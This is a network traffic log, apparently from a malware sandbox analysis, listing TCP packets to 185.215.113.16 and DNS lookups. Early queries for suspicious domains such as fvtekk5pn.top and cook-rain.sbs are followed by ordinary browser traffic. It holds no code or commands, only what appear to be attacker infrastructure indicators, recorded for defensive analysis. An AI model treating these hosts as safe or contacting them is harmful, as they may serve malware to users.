Nov 20, 2024 04:08:17.358736038 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358745098 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358768940 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358814001 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358818054 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358850956 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358880043 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358885050 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358901978 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358921051 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358928919 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.358953953 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.358989000 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.359004021 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.359021902 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.359055042 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.359076977 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.359076977 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.359092951 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.398974895 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399041891 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399049044 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399089098 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399095058 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399127007 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399143934 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399164915 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399178028 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399221897 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399257898 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399266005 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399292946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399344921 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399370909 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399401903 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399426937 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399436951 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399456024 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399472952 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399483919 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.399507999 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.399519920 CET	62476	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 04:08:15.463762999 CET	192.168.2.4	1.1.1.1	0xe676	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:15.473124981 CET	192.168.2.4	1.1.1.1	0x62fa	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 04:08:20.097563982 CET	192.168.2.4	1.1.1.1	0x15b0	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:30.736032963 CET	192.168.2.4	1.1.1.1	0xff0e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:30.736120939 CET	192.168.2.4	1.1.1.1	0x378f	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 04:08:32.614464045 CET	192.168.2.4	1.1.1.1	0xbc8b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:32.614670992 CET	192.168.2.4	1.1.1.1	0x69dd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 04:08:33.751698017 CET	192.168.2.4	1.1.1.1	0x97e4	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:33.751775026 CET	192.168.2.4	1.1.1.1	0x909d	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 04:08:40.556401968 CET	192.168.2.4	1.1.1.1	0x5eca	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:40.556571007 CET	192.168.2.4	1.1.1.1	0xa711	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 04:08:43.462270975 CET	192.168.2.4	1.1.1.1	0x2d71	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:43.462317944 CET	192.168.2.4	1.1.1.1	0xcf1f	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 20, 2024 04:08:44.670088053 CET	192.168.2.4	1.1.1.1	0xd817	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:44.717535019 CET	192.168.2.4	1.1.1.1	0x4450	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:13.825651884 CET	192.168.2.4	1.1.1.1	0xcf91	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.829987049 CET	192.168.2.4	1.1.1.1	0x68da	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.834789038 CET	192.168.2.4	1.1.1.1	0xb97d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.837882042 CET	192.168.2.4	1.1.1.1	0x47c2	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.913851976 CET	192.168.2.4	1.1.1.1	0xfef8	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.914823055 CET	192.168.2.4	1.1.1.1	0x1101	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:13.914993048 CET	192.168.2.4	1.1.1.1	0x38f3	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:13.943846941 CET	192.168.2.4	1.1.1.1	0x9e2d	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.950654984 CET	192.168.2.4	1.1.1.1	0x9356	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.951236963 CET	192.168.2.4	1.1.1.1	0x1069	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:13.997817993 CET	192.168.2.4	1.1.1.1	0xe58a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.006302118 CET	192.168.2.4	1.1.1.1	0x6fbf	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.043602943 CET	192.168.2.4	1.1.1.1	0x52c1	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.063985109 CET	192.168.2.4	1.1.1.1	0x63d5	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.083111048 CET	192.168.2.4	1.1.1.1	0x80	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.135380030 CET	192.168.2.4	1.1.1.1	0x295	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.144680023 CET	192.168.2.4	1.1.1.1	0xc5a8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.268156052 CET	192.168.2.4	1.1.1.1	0x443b	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.284368038 CET	192.168.2.4	1.1.1.1	0x1212	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.284570932 CET	192.168.2.4	1.1.1.1	0x1145	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.308825016 CET	192.168.2.4	1.1.1.1	0xafc3	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.320221901 CET	192.168.2.4	1.1.1.1	0xe342	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.337641954 CET	192.168.2.4	1.1.1.1	0x7472	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.356168032 CET	192.168.2.4	1.1.1.1	0x1d0d	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.452580929 CET	192.168.2.4	1.1.1.1	0x94db	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.468368053 CET	192.168.2.4	1.1.1.1	0x9ad3	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.470242977 CET	192.168.2.4	1.1.1.1	0x3ac4	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.523972034 CET	192.168.2.4	1.1.1.1	0xbc73	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:14.524322033 CET	192.168.2.4	1.1.1.1	0x2645	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.555403948 CET	192.168.2.4	1.1.1.1	0xec67	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:16.639034033 CET	192.168.2.4	1.1.1.1	0x70d6	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:16.647238016 CET	192.168.2.4	1.1.1.1	0xdd35	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:16.671216011 CET	192.168.2.4	1.1.1.1	0xa472	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:18.057923079 CET	192.168.2.4	1.1.1.1	0xad42	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.058031082 CET	192.168.2.4	1.1.1.1	0x69e0	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.058075905 CET	192.168.2.4	1.1.1.1	0x9c40	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.067045927 CET	192.168.2.4	1.1.1.1	0x9b76	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.067087889 CET	192.168.2.4	1.1.1.1	0x7b6c	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.067426920 CET	192.168.2.4	1.1.1.1	0x7154	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.075098038 CET	192.168.2.4	1.1.1.1	0x30b0	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:18.075675011 CET	192.168.2.4	1.1.1.1	0x41ec	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:18.075959921 CET	192.168.2.4	1.1.1.1	0xc980	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 20, 2024 04:09:18.083204985 CET	192.168.2.4	1.1.1.1	0x3c31	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.086364031 CET	192.168.2.4	1.1.1.1	0x585d	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.091495991 CET	192.168.2.4	1.1.1.1	0xbffc	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.095441103 CET	192.168.2.4	1.1.1.1	0xa3a1	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:18.100641966 CET	192.168.2.4	1.1.1.1	0x15b7	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:18.105618954 CET	192.168.2.4	1.1.1.1	0x1358	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:20.349328041 CET	192.168.2.4	1.1.1.1	0x4587	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:20.370121002 CET	192.168.2.4	1.1.1.1	0x14d7	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:25.871484995 CET	192.168.2.4	1.1.1.1	0x86bb	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:25.871639967 CET	192.168.2.4	1.1.1.1	0x96b9	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 04:09:26.242137909 CET	192.168.2.4	1.1.1.1	0x96b0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:26.242358923 CET	192.168.2.4	1.1.1.1	0x15d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 04:09:31.146311045 CET	192.168.2.4	1.1.1.1	0xbaf0	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:42.265552044 CET	192.168.2.4	1.1.1.1	0xfa59	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.289323092 CET	192.168.2.4	1.1.1.1	0xa8fa	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.289757967 CET	192.168.2.4	1.1.1.1	0x8cd6	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.335103035 CET	192.168.2.4	1.1.1.1	0x7fe	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 20, 2024 04:09:42.335486889 CET	192.168.2.4	1.1.1.1	0x751c	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:42.339000940 CET	192.168.2.4	1.1.1.1	0xad17	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:09:42.353269100 CET	192.168.2.4	1.1.1.1	0x371	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:09:51.906717062 CET	192.168.2.4	1.1.1.1	0xc150	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:51.948999882 CET	192.168.2.4	1.1.1.1	0xc150	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:52.049356937 CET	192.168.2.4	1.1.1.1	0x14ae	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:10:11.878449917 CET	192.168.2.4	1.1.1.1	0x5a39	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:10:12.359042883 CET	192.168.2.4	1.1.1.1	0xb362	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:32.565996885 CET	192.168.2.4	1.1.1.1	0x48b1	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:10:33.385349035 CET	192.168.2.4	1.1.1.1	0xbe66	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:36.375644922 CET	192.168.2.4	1.1.1.1	0x1f30	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:36.375806093 CET	192.168.2.4	1.1.1.1	0xa920	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 04:10:39.651729107 CET	192.168.2.4	1.1.1.1	0x1700	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:10:39.651855946 CET	192.168.2.4	1.1.1.1	0x9993	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 04:10:48.693782091 CET	192.168.2.4	1.1.1.1	0xe697	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:02.403403997 CET	192.168.2.4	1.1.1.1	0x4941	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:47.617949009 CET	192.168.2.4	1.1.1.1	0xd515	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.093075991 CET	192.168.2.4	1.1.1.1	0x84ec	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.101648092 CET	192.168.2.4	1.1.1.1	0x5394	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:11:53.109955072 CET	192.168.2.4	1.1.1.1	0x2cad	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:11:53.586366892 CET	192.168.2.4	1.1.1.1	0x3b09	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:12:12.866960049 CET	192.168.2.4	1.1.1.1	0xee32	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:13:39.685619116 CET	192.168.2.4	1.1.1.1	0xc4c5	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:13:39.685734987 CET	192.168.2.4	1.1.1.1	0xea09	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 20, 2024 04:14:13.843708038 CET	192.168.2.4	1.1.1.1	0xf252	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:13.851567984 CET	192.168.2.4	1.1.1.1	0x174f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:13.859477997 CET	192.168.2.4	1.1.1.1	0x5345	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 20, 2024 04:14:14.316819906 CET	192.168.2.4	1.1.1.1	0x9040	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:34.289114952 CET	192.168.2.4	1.1.1.1	0x1e3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:34.297295094 CET	192.168.2.4	1.1.1.1	0x7168	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:14:34.304527998 CET	192.168.2.4	1.1.1.1	0xe114	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:15:17.781435013 CET	192.168.2.4	1.1.1.1	0xefb7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:16:06.531620979 CET	192.168.2.4	1.1.1.1	0x46f7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:16:13.448394060 CET	192.168.2.4	1.1.1.1	0x6018	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 20, 2024 04:16:13.915194035 CET	192.168.2.4	1.1.1.1	0x8926	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 04:08:15.724333048 CET	1.1.1.1	192.168.2.4	0xe676	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:20.136811018 CET	1.1.1.1	192.168.2.4	0x15b0	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:20.136811018 CET	1.1.1.1	192.168.2.4	0x15b0	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:31.491496086 CET	1.1.1.1	192.168.2.4	0xff0e	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:32.621169090 CET	1.1.1.1	192.168.2.4	0xbc8b	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:32.621222019 CET	1.1.1.1	192.168.2.4	0x69dd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 04:08:34.013170958 CET	1.1.1.1	192.168.2.4	0x97e4	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:40.563304901 CET	1.1.1.1	192.168.2.4	0x5eca	No error (0)	www.google.com		172.217.16.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:40.563328981 CET	1.1.1.1	192.168.2.4	0xa711	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 04:08:44.141164064 CET	1.1.1.1	192.168.2.4	0x2d71	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:44.607749939 CET	1.1.1.1	192.168.2.4	0x3bdf	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:08:44.691128016 CET	1.1.1.1	192.168.2.4	0xd817	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.832304001 CET	1.1.1.1	192.168.2.4	0xcf91	No error (0)	youtube.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.837186098 CET	1.1.1.1	192.168.2.4	0x68da	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:13.837186098 CET	1.1.1.1	192.168.2.4	0x68da	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.841389894 CET	1.1.1.1	192.168.2.4	0xb97d	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.844510078 CET	1.1.1.1	192.168.2.4	0x47c2	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.920768976 CET	1.1.1.1	192.168.2.4	0xfef8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.921531916 CET	1.1.1.1	192.168.2.4	0x38f3	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 20, 2024 04:09:13.950613022 CET	1.1.1.1	192.168.2.4	0x9e2d	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:13.950613022 CET	1.1.1.1	192.168.2.4	0x9e2d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.957237959 CET	1.1.1.1	192.168.2.4	0x9356	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:13.957796097 CET	1.1.1.1	192.168.2.4	0x1069	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 04:09:14.013550997 CET	1.1.1.1	192.168.2.4	0x6fbf	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.048029900 CET	1.1.1.1	192.168.2.4	0xc4d6	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.048029900 CET	1.1.1.1	192.168.2.4	0xc4d6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.266427994 CET	1.1.1.1	192.168.2.4	0xc5a8	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.266479969 CET	1.1.1.1	192.168.2.4	0x63d5	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.266479969 CET	1.1.1.1	192.168.2.4	0x63d5	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.266479969 CET	1.1.1.1	192.168.2.4	0x63d5	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.267155886 CET	1.1.1.1	192.168.2.4	0x80	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.274849892 CET	1.1.1.1	192.168.2.4	0x443b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.277820110 CET	1.1.1.1	192.168.2.4	0x295	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.316036940 CET	1.1.1.1	192.168.2.4	0xafc3	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.327362061 CET	1.1.1.1	192.168.2.4	0xe342	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.344208002 CET	1.1.1.1	192.168.2.4	0x7472	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.344208002 CET	1.1.1.1	192.168.2.4	0x7472	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.363852978 CET	1.1.1.1	192.168.2.4	0x1d0d	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 04:09:14.419214010 CET	1.1.1.1	192.168.2.4	0x5944	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.419214010 CET	1.1.1.1	192.168.2.4	0x5944	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.423237085 CET	1.1.1.1	192.168.2.4	0x6b69	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 20, 2024 04:09:14.460839987 CET	1.1.1.1	192.168.2.4	0x94db	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 04:09:14.460839987 CET	1.1.1.1	192.168.2.4	0x94db	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
